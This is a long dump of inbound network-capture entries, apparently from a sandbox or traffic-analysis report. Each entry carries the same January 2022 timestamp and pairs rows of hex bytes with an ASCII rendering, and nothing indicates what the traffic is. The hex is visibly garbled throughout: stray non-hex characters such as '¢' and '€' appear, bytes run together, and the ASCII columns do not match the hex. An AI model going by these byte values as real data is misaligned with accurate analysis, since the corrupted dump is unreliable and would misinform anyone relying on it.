8b b3 da 2a 02 66 6f 9e 6e a4 7 f4 00 d7 5¢ ed e3 04 94 52 46 02 e9 b0 6f 2e 49 92 8e 6b b2 b9 42 9a 2d b8 96 65 5a 51
5f 0d 8¢ 94 05 d6 27 77 30 43 4d f3 51 f4 ¢5 €9 39 11 90 5e 72 cd e5 f5 49 95 9a c5 18 d7 93 ab a0 ce cf d0 71 d5 12 82
5a b3 52 de 43 62 bf 78 8e ch 74 b1 3c 08 f4 34 2a 6¢ 94 45 d9 6d d8 95 51 cc Ob fc €9 78 62 01 4c 9d cf 1c 7c e3 dd 74
cc 6b 76 37 4d 4c 1c 3b 90 8f 84 el d2 ab 8f 81 fa 19 52 8f 2f 1a d8 36 cb af fa cd 96 20 99 3f fc f1 fa 1c e8 al 51 b5 4e bc
3f 36 9b 91 4d 1a b0 3d 96 b2 9a 26 fa a5 19 8d a7
Data Ascii: j=r=cbIWYIR:YE'+K_ZE[b:6[FJ.y6*fon\RFo.lkB-eZQ_'wOCMQ9"rIqZRChbxt<4*EmQxbL |tkv7ML;R/6 2QN?6M=&

2022-01-14 03:59:48 UTC 1577 IN Data Raw: 0a f9 15 ac f0 8c fb 16 a0 Oa fc 4c 5b 8e 12 53 e0 d7 48 b6 68 85 15 67 de 7b 52 79 18 e9 cd ca 4e dc 85 a7 2¢
6c 01 af 15 Oa 43 8c a6 38 23 b0 53 80 1f 8e 2a 55 40 de cf 37 ba 60 53 b6 26 2b c3 ef 9e 86 86 d8 70 4b 70 72 ac ec 30
99 08 36 9 fc 5d a2 20 76 40 da d9 b2 9d 61 f6 65 39 4a 22 d4 f0 fO 67 89 24 db 2a 39 da 21 e4 fb 5e 60 74 d1 06 6c¢ fd
7a25f9 48 7c 90 50 64 6b €5 0a 70 0d 87 79 73 68 43 b8 Oe c2 2f 1e 66 d4 7b db 00 1b 50 79 33 6f 35 74 d1 c5 d7 24 86
03 11 04 8d aa b7 dc fa 4e cb 71 a6 b5 d1 f0 34 57 b5 18 73 ad e4 38 96 8b 11 93 5e d0 f2 d5 6a 2c d3 98 ce 18 86 e3 ac
8f f1 eb af 20 6b 04 aa be 37 7b 03 de b9 13 44 ad b0 68 01 6d 8d bf 68 d5 6a 06 2e €8 77 06 52 75 17 88 cd 53 4b 18 8b
99 b1 43 27 63 a7 8 56 6¢ 85 75 be f4 e4 Oe ca 55 cl
Data Ascii: L[SHhg{RyN,IC8#S*U@7" S&+pKpr06] v@ae9J"g$*9!""tIz%H|PdkpyshC/f{Py305t5Ng4Ws8%j, k7{Dhmhj
.WRuUSKC'cVIuU

2022-01-14 03:59:48 UTC 1593 IN Data Raw: 25 cf 22 01 35 f7 6f 8e fe 92 4f {7 6e b4 fe 62 da 89 f3 b0 79 0d 27 d4 49 a6 e3 45 6b 20 €9 1e fc 7e d3 ff a0 a3
5a c7 d7 b5 2d 32 d9 b0 7f 37 ae b4 51 6a 19 1a aa 30 59 cb e8 fd 9a 9e 00 8a f1 63 08 84 a9 f1 53 d1 a7 77 4f 80 7e ae
8a 1387 clala2alal 624087 d9 3100 1b ba b7 3a 16 bd 0a Oa 16 5d 97 16 3e 8f 07 bf ed 3d bf 4f 4a 04 a4 84 bf 42
b2 87 d9 91 19 99 4e 4f d3 e5 a5 e5 4e 36 b1l 50 04 82 Oe 08 99 35 12 ca 8b 3e 16 f3 82 7e 62 8e 08 61 48 df 61 99 c7 15
06 0f 82 8e 82 d0 92 9f 3 3d 99 4f b3 ff 64 8a ab 62 ch 97 5d a3 97 38 03 8b a7 95 23 3f c2 26 3c 57 36 3a 9c 0d €0 9c 87
52 ed 80 19 b9 €9 1b 63 ed 41 90 fO db 75 67 bc 28 d2 f1 fO a5 7c aa bc b2 88 88 59 75 11 8d 21 65 2f 24 dO f7 d6 01 d8
da e9 2b 5a bd 02 47 48 e4 98 ca 35 58 f8 2a 27
Data Ascii: %"500nby'IEk ~Z-27Qj0YcSwO~b@1:]>=0JBNON6P5>~baHa=0db]8#?&<W6:RcAug(|Yu!e/$+ZGH5X*

2022-01-14 03:59:48 UTC 1609 IN Data Raw: 69 5 ce 0d Oa e3 b7 5¢ cf b5 ¢7 f6 3¢ 06 a0 7c ec 69 1a Oa 9f e0 7c a3 ¢7 71 9f 59 dd 33 35 8 6f 8b 12 1a c3
3add 15 dd f8 2d 3f 79 6a 22 ad 13 6d 00 9e 3b el 62 e5 85 49 24 35 3f 40 f6 a8 7 1c 93 ca 71 48 8¢ 9c dd 53 11 a3 04
81 be 5a 37 2d 89 c8 50 7d 5a 2f 65 8d f9 a7 cb a0 7b 47 1b 94 b1 59 39 da 11 f4 c1 cc e6 60 d2 e4 al 4b 5f 58 69 a8 01
9b 95 56 8a 05 bc 97 83 16 28 €5 21 62 27 38 ce 9b 7e 7b c2 9a 1d 16 71 6b 76 b8 66 38 87 2a 3¢ 00 72 66 €9 1d 56 83
2119 af 0f a2 d0 c9 Oa 62 dd e6 51 a3 ca 40 aa 8b 67 b9 a2 3e 3c cc 3e 2e fe 39 11 13 99 76 91 90 4b b8 d6 13 36 a7 Ob
d0 a7 48 c9 9b 8a c9 6¢ 50 el 20 2f 1e Oa 3f 3a 86 €3 a8 2e 86 a4 69 b1l 7e cb 31 a6 c0 f5 bb 63 Oe 11 36 4e 02 31 6d 97
213701 12 81 ff 2c 1e d7 78 97 39 74 c4 45 d8 d8 b9 ac
Data Ascii: i\<|i|qY350:-?yj"'m;bI$5?@qHS Z7-P}Z/e{G Y9 K_XiV(!b'8~{qkvf8*<rfVIbQ@g><>.9vK6HIP /?:.i~1c6N1m!7 x9tE
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 1625 IN Data Raw: 8d 3b 5a 3f 43 aa 9e 23 d4 c8 a3 0d 44 2b f9 75 d4 55 a5 15 el 13 4d c6 3f 8e f5 5¢ f7 83 7b a3 eb ea 12 b8 d8
d5 12 a9 43 68 d6 bd 85 a9 7d 7e e6 21 c¢3 32 1b f8 d9 30 fe 4e c4 e2 f1 2f al e1 99 b0 50 00 1c 7f 17 a6 16 le d2 b7 17
e3 aaec 13 64 c4 22 7 30 89 b8 7b 36 d6 b0 2a 2f €8 1c a4 25 e8 43 2e 2f ba 18 c9 1b 84 7e 96 4a 41 61 6e 19 17 b0 e7
cd 28 ab 4e 74 af 7a ae 55 37 03 76 c1 90 6b 8a 3f 77 d0 al 2c d4 18 af 8c 3b 3d c7 b5 f4 bd 54 bb 01 9a 89 €3 1d 80 17
5c 73 9d 4a 43 bc 34 6f 3a b5 ca 5d 14 f5 40 97 d0 e7 9f f7 94 0a 82 35 fa 8b df 47 82 82 94 54 cf 4e al 44 e6 2d Ob b7 of
d3 98 d2 1c 64 9e 2c e6 7d eb fd e9 ca eb a3 04 a4 61 36 8d 50 65 12 b4 13 0f 8c 88 dc f5 87 82 c3 ac db 47 33 fe f6 Ob
59 01 df 94 8¢ 33 ¢7 50 65 4c bb 43 62 Oe 2f c4 ef
Data Ascii: ;Z?C#D+uUM?\{Ch}~120N/Pd"0{6*/%C./~JAan(NtzU7vk?w,;=T\sJC40:]@5G TND-d,}a6PeG3Y3PeLCb/

2022-01-14 03:59:48 UTC 1641 IN Data Raw: 01 f5 c4 2f a9 Ob 7d 62 13 c¢7 9b ae 22 f1 c4 aa fe ¢7 39 cb 3d 81 f2 54 60 a5 5a 85 cd 6¢ 20 7c 51 Oc 08 95 02
1d fd 63 f5 el 1f bf e7 d9 56 42 49 8b 64 d8 5b c2 52 43 dc 58 95 el 12 7d 88 9c d1 37 9f 8b 66 bf c7 5¢c 65 5d 8e 78 47 bf
31d9 55 46 b8 13 80 24 71 c¢8 95 €9 4b 5¢ 39 7b 18 3b 32 82 cd 90 a7 71 bc 22 de 86 1d 0d 78 74 ba 4e 8b 1b a2 36 82
58 d2 60 Oc 86 7b 4e f5 73 d4 a9 99 28 9d 42 3a 35 a0 45 b5 Oe 50 ac 46 8e 37 70 94 af f9 0d ba 70 5d 39 08 a3 a0 2d 71
ff 2c a7 23 04 56 80 ee 7d 90 c1 ab b6 1c c9 6a 64 b1l 14 91 d4 fe 17 f9 e3 b2 c5 10 50 bc 2e 47 40 21 {7 19 3d ed fe d8 59
ae f0 ab e8 ab c9 ec ae el 29 f8 4a 9a 18 87 b7 9b f1 d5 36 65 4b 4e e3 41 f6 5d 79 51 bc 6e 9e al ce f8 d8 Ob 77 4b a3
bc 3e 18 71 be 34 63 5a eb db 74 43 6b 78 21 dc 97
Data Ascii: /}b"9=T ZI |QcVBId[RCX}7f\e]xGLUF$qK\9{;2q"xtN6X {Ns(B:5EPF7pp]9-q,#V}jdP.G@!=Y)J6eKNA]y
QnwK>g4cZtCkx!

2022-01-14 03:59:48 UTC 1657 IN Data Raw: 48 Ob b6 ed c0 b9 a3 df fa 38 a3 fc ec 4e a7 8d 8d b4 ac b2 b7 be 60 9d a6 64 0a f3 Oc 47 dd 5 d5 d2 ea 52 ad
16 d9 c4 65 €2 77 25 a2 65 e7 €5 46 bf 6¢ 94 e2 4b ¢8 04 ed cd a4 36 73 81 7f d7 ec b4 5d 04 2d 81 50 a0 b9 af d9 30 66
76 49 37 2e 5e 00 91 57 67 29 48 bb d8 c6 c1 c2 6¢ Oe 82 6a 92 8b 74 5e 2d a5 c6 56 b9 f9 1e b5 dO f1 12 97 3¢ 2b 2a 06
c5 61 12 50 f9 e6 24 3c d2 ec 52 3 bb 45 66 5b 1e el ca 7f a5 df b3 9e 53 5e 8a d3 25 3b ba 0a a0 10 ee ef ad c3 e7 43 6f
90 ca a8 23 4c b1 9f be 21 68 b3 84 32 17 8c 74 6e 82 c9 c9 75 ee 98 28 03 a4 71 01 01 6b bd Oc 65 8f 82 Oc 3a 32 b3 33
96 39 1f 07 42 28 ed 00 19 cc 52 44 47 fa e7 ca 68 ab Oc Oe 2c 68 55 d5 c9 b8 75 c0 c3 ef 58 7e 3c ¢4 17 eb 8e 01 e4 03
97 fb 10 aa cc 7d a0 60 8e de 34 e2 e0 2f be Of fb
Data Ascii: HBN dGRew%eFIK6s]-P0fvI7.AWg)HIjt*-V<+*aP$<REf[S"%);Co#L!h2tnu(gke:239B(RDGh,hUuX~<} 4/

2022-01-14 03:59:48 UTC 1673 IN Data Raw: 2f 63 Oe cO 2d 6d 23 60 1f 42 12 a0 70 22 3e 6a 6e e5 d5 €9 40 97 d8 47 07 05 80 69 d4 94 46 1a 34 88 9e 24
86 ee e8 7a 06 06 37 8e 34 da 15 98 57 f8 54 dc 8a al da b9 c7 f2 29 b1 9d 1f 1b Oe dd 5a 69 f2 d1 Oc 95 f0 4c 41 39 ce fO
a9 ba ed f9 ed db 24 c1 dO b0 21 2b 8c 80 bb a0 21 b6 19 e7 4d 2a 2f 84 be f9 f3 54 b4 f6 b7 11 82 26 40 c8 70 fc 78 c2 27
96 dd 2f 84 39 9d 27 ad 45 f9 d9 44 95 c6 le eb 39 69 ec 1a 4c 54 7c 2f b9 3c e8 99 2¢ f5 b1 35 78 f9 2f e4 df 1d Of ab 1e
22 95 9a 9d 43 f4 4d d3 5b b9 6 f8 f9 6b 8a f9 04 39 45 4a f1 5a 3b c3 96 16 d9 fd bd al e8 8b 98 c0 ad 60 be 54 94 €7 {7
4 da cc 4c a5 f3 40 da 95 32 2b 83 9f 24 68 cf 0d 53 62 6e 55 a6 6b bd b8 38 23 a3 6e 82 c8 f7 2d 3c e7 8¢ ac ae a8 e5
46 bb 23 a3 ab 9¢ b3 74 37 51 00 45 f6 95 d1
Data Ascii: /c-m# Bp">n@GiF4$z74WT)ZILA9$!+!M*/T&@px'/9'EDIILT|/<,5x/"CM[KOEJIZ; TL@2+$hSbnUk8#n-<F#t7QE

2022-01-14 03:59:48 UTC 1689 IN Data Raw: 19 cd a6 cd 24 4f Oe 25 23 bd 09 {7 fa e7 20 64 93 03 1c cf dd a5 6¢ 19 54 33 8a 18 56 90 90 68 40 87 c9 84 87
cc ba 8faa 77 b3 31 1c d4 7b 1e af 5b 5b €6 9a 3c 32 8d fe 61 e0 a9 a9 00 48 32 ec 39 90 5b 9e 2a 8a 93 9d 83 42 52 de
50 f3 2b 09 1f ef 1a f6 ¢5 d5 35 f6 dc 7a 62 ab 01 22 95 66 cf de fb c1 a2 d9 b8 f1 2e cO be 30 82 6a 1a 98 11 fa dd 9c d1
70 2f 06 Oa 1d 40 1e 88 3f 07 7d €5 €9 97 5e aa 93 de 43 06 8d 47 73 19 36 84 1c ad ba b9 99 20 95 33 73 af 66 8f ee 53
84 a8 77 43 05 e2 4b 15 11 ec c1 fb b0 25 ce 2e 3f 01 aa c0 d4 42 cd 9b 1c cd 42 39 8b bb 50 5f a5 c¢7 9a 2e b3 44 db 6f
b5 d6 f8 df 47 75 71 5a 43 d7 06 fe d6 39 b4 22 78 69 82 37 60 08 bf 32 b3 10 ce 8f fe 18 1a 6b 72 6a 27 93 a4 9c fc 63 2d
bf Ob 63 7a a6 f5 f3 2¢ 69 14 3f 5¢ d9 cd 6d 9e
Data Ascii: $0%# dIT3Vh@w1{[[<2aH29[*BRP+5zb"f.0jp/@?}*CGs6 3sfSwCK%.?BBIP_.DoGuqZC9"xi7 2krj'c-cz,i?\m

2022-01-14 03:59:48 UTC 1705 IN Data Raw: 19 80 41 93 fe ef 01 76 4d Oc Of 07 da 3c b9 8d 40 b2 22 79 3b 43 7b 1f 59 2d cc 4a 7c a7 bc 5b 98 62 6b 21
8c cd a0 89 ad e5 33 ab 97 90 5d 35 b5 3f 2b a9 46 f2 60 46 37 45 b4 45 d6 7e d2 6e c3 bf 58 68 20 f1 04 01 fe 14 fb 4c le
07 c9 fc 57 fO df 38 ed ef 2a c9 7c 47 70 86 ab 35 b8 25 51 05 74 4b e8 9f f6 el 69 c8 68 cc da aa c0 13 c¢7 ac 01 9b 23 9a
9b 38 37 4a e2 08 77 00 96 31 52 8d 40 e5 53 44 d1 5c 8e 27 15 b6 fd 1f ec 2d 8d 5e e6 95 7a e8 af a0 fd 26 a4 b3 f0 ed
88 47 be 8e a0 5e 16 d2 37 ba 56 10 44 8c 5f 4f 23 15 e0 a6 bb 6a b2 d6 2f dc 44 59 05 aa 98 43 83 de 92 1c c2 c9 e0 8¢
fb be f1 10 e8 e7 9e 53 9d 45 7c 15 47 bb 18 d4 e2 3d d7 f3 8f 37 d0 60 27 de c1 57 b2 b6 9b 86 b2 6¢ ac 6d fa 2a 62 65
3ce549 2c 48 47 ed 9c 41 c7 68 68 26 f1 6d 6d a6
Data Ascii: AvM<@"y;C{Y-J|[bk!3]5?+F F7EE~nXh LW8*|Gp5%QtKih#87Jw1R@SD\-"z&G"7VD_O#/DYCSE|G=7"WIm
*be<l,HGAhh&mm

2022-01-14 03:59:48 UTC 1721 IN Data Raw: 64 41 f5 ff b3 01 bd f8 7e 9f 68 2e 78 b9 fa 54 d8 7c ca cf 72 aa 86 80 32 03 b1 4d 67 02 f5 da cb f9 c¢3 2d 69 75
13 d1 d4 34 8e 8a f2 27 37 79 8a e0 c1 e2 c4 7d 33 7d 78 d2 5a 33 b4 de f4 94 e0 e7 5 83 22 26 48 20 04 9d 9c a2 70 63
39 3399 39 Oc c3 a3 ba 27 7f 04 8d d7 07 8d 3f 7b 83 1f 8¢ 2d f5 f4 36 54 19 b3 95 ed 22 08 7a 67 9d 62 5e a0 20 b4 cd
7d 18 e6 ¢7 12 76 3f f6 2d 57 68 b2 d4 7f d0 01 06 cO a4 86 3b 59 08 9f 32 f1 3b b2 4f 6a 8b {7 71 42 9a bd b0 86 cb al 3c
f2 de bc 85 72 06 35 94 2e b4 81 43 da 31 21 d1 d6 6e 00 a2 58 68 c4 be bc 44 6d 38 1d 86 d5 61 65 3d 28 b8 73 d7 76
36 03 36 ba aa be 91 18 15 f6 7a 9c f5 53 47 18 d1 a3 41 cc 2c 8f d1 76 51 44 ec 66 2e 38 fe f7 bc 71 b6 Oc 46 7d 5¢ 5 dO
12 8b 52 5c 18 cb 1b 44 fe 07 86 58 d1 6¢ 45 6e
Data Ascii: dA~h.xT|r2Mg-iu4'7y}3}xZ3"&H pc939'?{-6T"zgh” }v?-Wh;Y2;0jqB<r5.C1InXhDm8ae=(sv66zSGA,vQ
Df.8qFN\R\DXIEn

2022-01-14 03:59:48 UTC 1737 IN Data Raw: a8 48 7d 32 b8 3c fd ec 88 36 66 31 eb 08 7d 07 8d 7c aa 3b 70 Oa 11 3c 37 f3 a0 c6 c9 le df al 5b 30 26 2c
76 b0 28 7b 78 3a 4f f1 fb 85 65 ed Oe 09 1d c2 01 dd Ob a7 33 27 5c ee e6 bd 98 40 5a 5b 4a 6a 8a 55 b4 7f 04 7b 44 d9
0d 80 57 b4 3 7a dd 50 fe b5 fd 4b 10 92 d4 05 7a 03 ad 09 7b 99 c0 d9 b8 99 64 b3 88 cb 1e 02 19 d2 f4 10 88 40 93 b9
fb ab el 50 4f bd 83 cb d8 68 43 31 3b f6 65 00 78 73 47 ae 7c 24 aa fe 7a 31 b5 bf 3b 73 95 ae 85 21 1c 56 4d fb 9b 26 1f
01 78 bc 41 e2 be e3 a5 61 b2 d8 {7 d1 ab 23 bc af 9a 9e 91 c1 91 ¢8 8f 22 c6 51 6e 17 9c de 04 e8 75 92 01 f4 9f 71 e3
69 9b 43 3e eb fa 8f b0 26 58 96 ac f6 7c 91 aa 88 31 5e 8d cb 64 65 b0 b5 ce b4 b2 ae 99 f1 93 ¢7 06 62 97 c7 71 c7 fc
53 0d 2f 9b d8 24 81 9a 21 8d 5d 8b 4d 58 ad 41 ea cc
Data Ascii: H}2<6f1}|;p<7[0&,v({x:0e3\@Z[JjU{DWzPKz{d@POhC1;exsG|$z1;s!VM&xAa#"QnuqiC>&X|1*debqS/$!|MXA

2022-01-14 03:59:48 UTC 1753 IN Data Raw: 60 69 7a d8 cd 0d bb 8a 6b 35 a8 70 86 7f b9 af d9 20 de 6 Ob 55 be dd 60 c4 45 5f 05 10 fb d3 30 b6 3e 79 9a
63 3e le d2 3b d3 7 8e ae d9 d5 05 39 d4 4c 13 89 16 84 bc 8e 86 d6 26 dd 43 70 Ob d8 bd 13 11 5e ef 56 1c 47 bc d7 dd
8a el Ob de 8b 2d d6 35 c0 ad 8e d5 6d 67 1d 49 24 a7 6b 42 71 32 fd bd 57 Oc 03 42 50 df 60 45 65 72 ff 7b c7 35 ec 16
59 a8 23 f7 42 da 54 62 af 58 d2 50 98 92 8¢ a9 72 86 e4 fa 7b 16 81 33 d4 2c 43 ef 4b c4 bd 70 3e 07 0d 76 dd 41 03 4f
ab 69 c0 ed a9 47 9c 11 05 a4 2 f3 86 1c de 7a d3 50 7b f7 41 94 dc 60 66 b2 04 fa 3f e4 b0 9f 90 07 92 Oc 1c 22 e3 c4 4
98 81 ch 61 6a e6 4c ab 8c 69 b0 a9 a2 02 d9 30 99 5d a9 85 6e fa be fc 2f a9 a9 6e a8 44 fd b2 02 b9 11 36 0b 4f 37 f3 2¢
4e ca f6 18 5b 45 32 9a dd e9 bb 2d d8 53 f6 ce
Data Ascii: ‘izk5p U E_0>yc>;9L&Cp"VG-5mgl$kBq2WBP Eer{5Y#BTbXPr{3,CKp>vAOiIGzP{Af?"ajLi0]n/nD60O7,N[E2-S

2022-01-14 03:59:48 UTC 1769 IN Data Raw: 23 05 6f d2 41 c6 04 f7 36 c9 4a 2d 0d 05 38 ac c5 ed fa 49 85 9d 35 ¢3 51 91 20 78 5d 08 62 a0 bl cb f1 1a dO
06 b7 74 9b 63 cb 39 ab c7 f2 de fa 17 c0 77 df ca 24 ¢7 12 e0 01 5e c8 66 e3 ea ea 75 cd 4a 38 b0 87 1f b9 e7 98 b4 d6
da bd fa ab e5 f3 ¢9 3e 36 Oc 82 a0 66 70 de 10 90 6f ad 80 6e 06 10 ed 6f 33 b0 16 cd Oe 05 93 c9 98 9f 67 8e 34 bd 2b 1
ec 39 5a 7e 77 10 62 b6 9d Of 79 43 9c 17 98 c4 76 7a 47 e5 bd ca 1f 37 71 7e 7 93 be 74 cb 4d d2 6¢ bb ca a7 8e b8 b5
8d 93 fd 4e 95 ae la c2 ba d9 e7 Oc 31 3e 8f 64 89 89 5f 7c 8e 60 44 65 db 3a 69 10 61 18 e4 ae f6 3e 6e cf 24 5e 25 17
c5d5 a9 a2 ae d5 b2 00 93 f8 3a 9f 10 63 5e 3 2b 78 1f 1d ed 82 05 f2 47 9c ed 7b 3f 09 05 ad cc c2 5a da 02 ed ff 6b dO
83 ca 86 b0 a7 ee c5 6¢ 55 55 ¢7 35 3d 5b be 92
Data Ascii: #0A6J-815Q x]btcOw$"fuJ8>6fpono3g4+9Z~wbyCvzG7q~tMIN1>d_| De:ia>n$"%:c +xG{?ZkIUU5=[
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2022-01-14 03:59:48 UTC 1785 IN Data Raw: 9e 5c 69 97 4a a9 3c 43 43 95 bd f3 6f b7 2f 1f 74 2e 9d c8 4a 25 84 9e df b6 bf 08 80 bc 6f 68 a9 b9 72 6e 22
d0 8f a9 84 f1 20 3d 40 e4 b6 54 f2 el 1f 91 30 df e4 d1 e3 90 88 c9 bc 37 ea 3f 8b 68 ca 95 af 19 fc 5¢ 5e 54 99 45 36 8¢
6a 54 62 27 d6 92 2d 7c 1e 1a 4b 74 bl fa eb f4 23 1d 06 3f ee 37 46 6b f4 86 77 b7 cb ad cf fe 44 5¢c 90 14 8f 0d 23 43 57
60 8a 40 7f 4¢c 6b 97 d3 48 32 0a b9 8 6e 89 e2 73 {7 ee €8 a9 3d 8a 4b da 7 4f 99 48 53 Oa e3 6d d5 c2 f7 ce 38 80 5b df
aa a4 89 68 9d 06 2c 33 9d 23 50 7e fa 57 54 da ab bd 37 44 ec ba 86 b0 d4 27 07 b4 ae 4f eb b2 31 53 51 66 5¢ 39 30 26
82 4d 7c b8 ea 1f 14 d3 32 2e f8 fc 52 al 44 6d c9 14 ab 4d 10 28 b7 b2 21 b5 3c f8 €9 2a 1c 7c e4 a4 cc 8d 0d 00 85 2b
66 87 a0 14 42 a2 4d 4a 78 07 e6 9a ee 42 3e
Data Ascii: \iJ<CColt.J%ohrn" =@T07?h\"TEGjTh"-|Kt#?7FkwDWCW' @LkH2ns=KOHSm8[h,3#P~WT7D'01SQA90&M|2
RDMM(I<*|+fBMJIxB>

2022-01-14 03:59:48 UTC 1801 IN Data Raw: Oc da e4 ba 6f 34 82 61 a5 58 fd 9b bf 6a 26 ec ff 5a f2 18 61 8c a7 5f 49 bd 70 95 ce 91 9d 85 df ea 56 d3 00
4e 3¢ 59 33 bb 15 3b f4 91 53 d3 el 90 8a ba 50 f0 b7 4e dO ff 8c 5b 4d 38 63 53 a9 Oe 6¢ 5a cc 4f c5 bb 0b 39 4d 17 4c
38 ba 61 bd 48 bf 72 d2 5d 68 b1 09 3c 5a 71 3c 4e 9a 4d 5e el 86 cf 12 5b 03 a6 41 el Oe de 9c 2f 7e 89 3c 58 be 67 85
9c 2d 48 1f 31 98 0d 00 df 83 6¢c e6 1f 6¢ c9 ee 88 f3 b9 d7 a0 40 62 b2 79 b5 5¢ 51 bf cc 75 56 2d aa fa 5d ce 2¢c d7 b6 b4
54 31 85 3b 96 €7 33 93 d3 df 69 fe 30 5e f6 d8 98 31 79 78 f6 fe 30 40 9e 05 c3 a6 fc fd 2a 2¢ 35 80 a2 53 19 b5 39 34 9¢
98 fb 23 58 5e ae f3 ¢9 11 96 da bd 2f b2 17 ce 46 ac a8 54 bc 11 38 cb a8 59 6e 97 85 d3 e2 9d 3b d0 d0 24 3f 5d 18 d7
9c 3e 41 15 dc 82 b7 31 b4 47 d1 f9 3e a7 a0 al
Data Ascii: 04aXj&Za_IpVN<Y3;SPN[M8cSIZO9ML8aHrh<Zg<NM?[A/~<Xg-H1ll@by\QuV-],T1;3i0"1yx0@%*,5S94#X"/
FT8Yn;$?]>A1G>

2022-01-14 03:59:48 UTC 1817 IN Data Raw: 8b 2d 07 af ad ca 6a 56 €8 de 24 62 78 75 3e 76 fa 77 8e 29 58 0d 78 1c 94 8d 1f 02 4f e2 d2 c4 16 20 4e 9f 89
44 85 f2 3b 23 6 3¢ 29 a5 db b4 e7 95 91 dc 66 50 47 c2 be d7 Of aa 4c 1f 97 cb 71 bf 21 b1 00 5 44 a6 b8 e5 65 a7 23 ec
e2 26 8f c0 e6 cb 08 9f c8 a6 5d 3f 25 ce 05 47 57 2b 2f 24 6e 9a 8f 14 2d df 1d 72 d8 71 95 94 44 e4 c5 db 85 07 b8 1f 53
87 6¢ 8¢ 95 d5 24 17 32 78 1e fd be 58 1e af aa 8f 95 ¢7 92 49 4f a0 b3 9d 5f 4f 63 d3 6f 23 8e 94 44 23 62 1b 67 7b 6¢ Oa
f9 99 b1 84 7b 41 97 cc 39 6d 49 c1 45 5b 32 aa b5 3c €5 8f 0d ed 13 90 95 c2 07 96 30 f3 22 Ob ¢6 92 56 17 6b c6 ed d3
27 €2 53 46 90 8a fc 6a €6 11 8f b4 b2 83 9d 33 49 a5 6¢ ee el f6 15 be 5b 0a 75 77 58 48 09 89 7c a8 57 60 fe bd d1 5¢
90 9a 6b fa 79 89 60 €9 67 70 41 36 Ob 88 86
Data Ascii: -jV$bxu>vw)XxO ND;#<)fPGLq!De#&]?%GW+/$n-rqDSI$2xXI0_Oco#D#bg{{A9mIE[2<0"VK'SFj3ll[uwXH
|W\ky gpA6

2022-01-14 03:59:48 UTC 1833 IN Data Raw: 7c¢ 28 25 7b 89 64 8e 7b d0 bb 74 b8 Ob 41 8a 03 el da 51 aa 83 37 40 9 b5 5f e2 da fa d3 71 5f 2f d8 cb 30 1e
3ac8b2 76 05 ffe8 c5 32 81 b0 58 €7 10 el d8 87 d0 1b 11 80 ec 23 b5 34 49 90 el 72 7d 8b e2 e0 47 3a 90 67 c5 fd 63
2d 44 01 d3 ff 03 84 42 4d el d4 3a 87 66 bd 60 ed 1c 10 f7 f8 b9 80 al c2 33 f3 0b 79 19 a2 8d c1 95 68 00 9a €6 5e ee
92 a5 2b 97 9d 93 b3 7f 08 92 f8 68 09 14 44 7a 72 1e 31 38 €5 ad 1b 29 f4 a5 el 29 d3 eb 87 81 e8 c8 42 3b 06 d8 ab ed
78 3a 1197 27 22 d0 64 26 a7 dc 72 ¢4 33 35 5d 66 16 be 50 34 d0 46 30 cb a5 1f dO e7 ab 93 1f 81 31 7e 91 af 80 21 35
18 05 fa d2 56 47 b3 48 79 9b 16 76 6d 56 1e f9 db 13 9c €9 0d 1e bc 6e 98 4b 07 84 cc 00 3c 25 e8 ed b3 07 0f 7c 5a ac
49 cc aa 82 95 36 fb 25 d9 ¢8 98 3c ca e9 5e 10 64 9¢
Data Ascii: |(%{d{tAQ7@_q_/0:v2X#4Ir}G:gc-DBM:f 3yh"+hDzr18))B;x:"d&r35]fP4F01~15VGHyvmVnK<%|Z16%<"d

2022-01-14 03:59:48 UTC 1849 IN Data Raw: 86 79 c3 42 e9 34 db 28 77 e8 35 c6 5f 90 5d 28 cb 6f 91 c9 Oc 7a 62 98 db 67 9a b0 4a 92 9c 80 Of 1f 93 b6 04
ab 3d 84 00 97 2f c0 34 b7 5b 53 50 e3 b9 67 17 50 9f el 4e 6¢ 31 6a 95 59 fd c7 6d bc 68 97 48 Oa 5a d8 57 cb 85 5e 90
b2 30 46 4c 48 2d ac a7 92 ee 9f 9c a3 59 e4 6¢ 96 cd 37 16 b3 d1 dc 1f 57 7c 63 64 df c1 19 87 ae 82 4e af 8f 6e 57 21
cladac db 1be2 69 eb 77 37 6a 5e 9f ab 12 be bb 54 ¢7 66 a0 51 8c bf e6 17 04 8a 2d 29 ad 4e b6 48 a3 40 9f 53 fd {7
5a c3 cd 99 80 df fa 95 7b ea Of 64 bb 35 18 c1 da Oe e6 f5 71 5e 93 61 49 3d 21 9d ¢4 60 19 11 51 02 ea 12 68 c1 fO 9e
18 bb 22 c8 5e a2 48 3f 9 bd f1 66 75 c3 88 76 03 ed 81 70 81 70 38 71 86 01 83 c6 d2 77 c9 c1 a7 Oe 69 f3 19 78 d8 fb
69 bc 8e bd 1c ca e0 76 69 e7 3¢ 07 bc 71 78 24 6b f5
Data Ascii: yB4(w5_](0zbgJ=/4[SPgPNI1jYmhHZW"0FLH-YI7W|cdNnW!iw7j"TfQ-)NH@SZ{d5q"al=!"Qh""H?fuvpp8qw
ixivi<gx$k

2022-01-14 03:59:48 UTC 1865 IN Data Raw: e6 98 a2 84 83 18 bc 5b fe f1 3b 76 3a f4 df 08 e0 86 41 71 d7 1d 70 22 33 ¢3 85 5e c4 ¢3 1d 16 78 4f 0d 05 1c
1894 95 1a 76 8a 73 b1 b3 e4 el Of de a3 45 12 7a a2 9a 02 d7 a5 97 de d6 a9 8d 34 7d a9 c1 ae 44 75 9f 97 1c b5 a0 82
41 cf ed cd 9f ea 4b 83 a3 1b 75 Of f4 e0 9e 46 12 04 3e 73 d9 92 cb 88 e2 {7 49 ee 63 1a Oe ab d5 26 04 bf 66 49 7a 3f 70
b5 11 87 fd 8b 57 77 7e 1e 29 c6 a9 a4 ec 20 e3 99 9b 01 9a e8 43 2b 1c 06 2b f9 57 a5 b5 4b 63 3e 7b b5 7c cc fe 2f 33
09 41 b5 52 ce bd d7 40 26 c6 34 ed d7 93 95 43 25 98 96 71 ec 7d bc ea 0d ee c6 15 4c Oa e6 ba 70 5e 38 99 1c 16 87
3e 70 3f d6 75 da e2 63 00 39 b1 4c 24 de c3 40 aa 14 e5 b4 2b ff 2d 6e da ec 1d b6 el 13 01 fa 47 38 a5 46 ed 11 23 64
3e 44 f1 86 a7 42 6f 85 aa fe 3f e6 08 77 72 e1 0d 3d
Data Ascii: [;v:Aqp"3"xOvsEz4}DuAKuUF>s|c&flz?pWw~) C++WKc>{|/3AR@&4C%q}Lp"8>p?ucIL$@+-nG8F#d>DBo?wr=

